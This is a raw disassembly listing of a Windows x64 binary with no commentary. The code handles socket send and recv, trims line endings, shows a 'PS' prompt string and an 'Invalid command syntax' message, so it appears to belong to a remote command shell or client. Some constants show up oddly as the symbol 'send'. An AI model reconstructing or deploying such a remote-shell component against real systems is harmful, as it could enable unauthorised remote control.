mov r8, rbx
lea rax, [rbx - 0xa]
cmp rcx, rax
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x20]
cmovb r8, rdi
sub r8, 0xa
cmp r15, 0xf
cmova rdx, r14
add rdx, 0xa
call fcn.1400067c0
mov rax, qword [rbp + 0x50]
inc rbx
mov qword [rbp - 0x70], r13
xorps xmm0, xmm0
mov qword [rbp - 0x68], r13
movups xmmword [rbp - 0x80], xmm0
cmp rax, rbx
jb 0x140004774
sub rax, rbx
lea rdx, [rbp + 0x40]
mov r8, 0xffffffffffffffff
lea rcx, [rbp - 0x80]
cmp rax, r8
cmovb r8, rax
cmp qword [rbp + 0x58], 0xf
cmova rdx, qword [rbp + 0x40]
add rdx, rbx
call fcn.1400067c0
mov rdx, qword [rbp + 0x38]
lea rdi, [rbp + 0x20]
mov r8, qword [rbp + 0x20]
lea rbx, [rbp + 0x20]
cmp rdx, 0xf
lea rcx, [rbp + 0x20]
cmova rdi, r8
add rdi, qword [rbp + 0x30]
cmp rdx, 0xf
cmova rbx, r8
add rbx, qword [rbp + 0x30]
cmp rdx, 0xf
mov rdx, rbx
cmova rcx, r8
mov r8b, 0xa
call fcn.140006f30
mov r8, rax
cmp rax, rbx
je 0x140004177
lea rcx, [rax + 1]
cmp rcx, rbx
je 0x140004177
movzx eax, byte [rcx]
cmp al, 0xa
je 0x14000416f
mov byte [r8], al
inc r8
inc rcx
cmp rcx, rbx
jne 0x140004162
cmp qword [rbp + 0x38], 0xf
lea rax, [rbp + 0x20]
mov rbx, qword [rbp + 0x30]
lea rcx, [rbp + 0x20]
cmova rax, qword [rbp + 0x20]
mov r9, r8
sub r9, rax
sub rdi, r8
mov rax, rbx
sub rax, r9
cmp rax, rdi
cmovb rdi, rax
cmp qword [rbp + 0x38], 0xf
cmova rcx, qword [rbp + 0x20]
sub rbx, rdi
add rcx, r9
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
mov rdx, qword [rbp + 0x38]
lea rdi, [rbp + 0x20]
mov r8, qword [rbp + 0x20]
lea rax, [rbp + 0x20]
cmp rdx, 0xf
mov qword [rbp + 0x30], rbx
lea rcx, [rbp + 0x20]
cmova rdi, r8
add rdi, rbx
cmp rdx, 0xf
cmova rax, r8
add rbx, rax
cmp rdx, 0xf
mov rdx, rbx
cmova rcx, r8
mov r8b, 0xd
call fcn.140006f30
mov r8, rax
cmp rax, rbx
je 0x14000422c
lea rcx, [rax + 1]
cmp rcx, rbx
je 0x14000422c
movzx eax, byte [rcx]
cmp al, 0xd
je 0x140004224
mov byte [r8], al
inc r8
inc rcx
cmp rcx, rbx
jne 0x140004217
cmp qword [rbp + 0x38], 0xf
lea rax, [rbp + 0x20]
mov rbx, qword [rbp + 0x30]
lea rcx, [rbp + 0x20]
cmova rax, qword [rbp + 0x20]
mov r9, r8
sub r9, rax
sub rdi, r8
mov rax, rbx
sub rax, r9
cmp rax, rdi
cmovb rdi, rax
cmp qword [rbp + 0x38], 0xf
cmova rcx, qword [rbp + 0x20]
sub rbx, rdi
add rcx, r9
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
lea r8, [rbp - 0x80]
mov qword [rbp + 0x30], rbx
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x60]
call fcn.1400028e0
mov rbx, rax
lea rax, [rsp + 0x60]
cmp rax, rbx
je 0x14000430c
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400042d9
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400042d4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004758
call fcn.1400070b0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], send
mov byte [rsp + 0x60], r13b
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], send
mov byte [rbx], r13b
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140004347
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004342
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004758
call fcn.1400070b0
cmp qword [rsp + 0x78], 0xf
lea rdx, [rsp + 0x60]
mov r8, qword [rsp + 0x70]
cmova rdx, qword [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006be0
lea rdx, [0x140006670]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400043b0
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400043ab
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043fe
call fcn.1400070b0
mov rdx, qword [rbp + 0x38]
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], r13b
cmp rdx, 0xf
jbe 0x14000346c
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003467
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003467
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r8d, 0x18
lea rdx, str.Invalid_command_syntax._n
lea rcx, [rsp + 0x60]
call fcn.1400061a0
jmp 0x14000346c
mov rdi, rbx
sub rdi, rsi
jmp 0x14000442e
mov edi, 4
inc r8
lea rcx, [rbx + 4]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 4
lea rdx, [rsi + 4]
sub r8, rdi
lea rcx, [rbx + rdi]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x38]
jmp 0x14000448f
lea rax, str._nPS
mov qword [rsp + 0x28], 4
mov edx, 4
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
call fcn.140006da0
mov qword [rbp - 0x70], r13
lea rdx, [0x140009adc]
mov qword [rbp - 0x68], r13
lea rcx, [rbp - 0x80]
xorps xmm0, xmm0
mov r8d, 2
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], send
mov byte [rax], r13b
call fcn.1400060f0
lea rdx, [rbp - 0x60]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
movq rcx, xmm0
mov qword [rax + 0x18], send
movups xmmword [rbp - 0x60], xmm0
mov byte [rax], r13b
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
movups xmmword [rbp - 0x50], xmm1
cmova rdx, rcx
lea rcx, [rsp + 0x60]
call fcn.1400060f0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140004559
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004554
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004766
call fcn.1400070b0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140004594
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000458f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004766
call fcn.1400070b0
mov rdx, qword [rsp + 0x50]
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], r13b
cmp rdx, 0xf
jbe 0x1400045e1
mov rcx, qword [rsp + 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400045dc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004766
call fcn.1400070b0
cmp qword [rsp + 0x78], 0xf
lea rdx, [rsp + 0x60]
mov r8d, dword [rsp + 0x70]
mov rcx, r12
cmova rdx, qword [rsp + 0x60]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp qword [rsp + 0x78], 0xf
lea rdx, [rsp + 0x60]
mov r8, qword [rsp + 0x70]
cmova rdx, qword [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006be0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140004662
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000465d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000476d
call fcn.1400070b0
mov rdx, qword [rbp + 0x58]
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], send
mov byte [rsp + 0x60], r13b
cmp rdx, 0xf
jbe 0x1400046b0
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046ab
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000476d
call fcn.1400070b0
xor r9d, r9d
lea rdx, [rbp + 0x450]
mov r8d, 0x400
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x1400030e0
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], 5
call fcn.140006500
mov ecx, 0x202
lea rdx, [rbp + 0x90]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140002ff0
mov eax, 1
mov rcx, qword [rbp + 0x850]
xor rcx, rsp
call fcn.140007090
lea r11, [rsp + 0x960]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x14000470d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006300
int3
call fcn.140006300
int3
call fcn.140006300
int3
call fcn.140006300
int3
call fcn.140001110
int3
call fcn.1400011b0
int3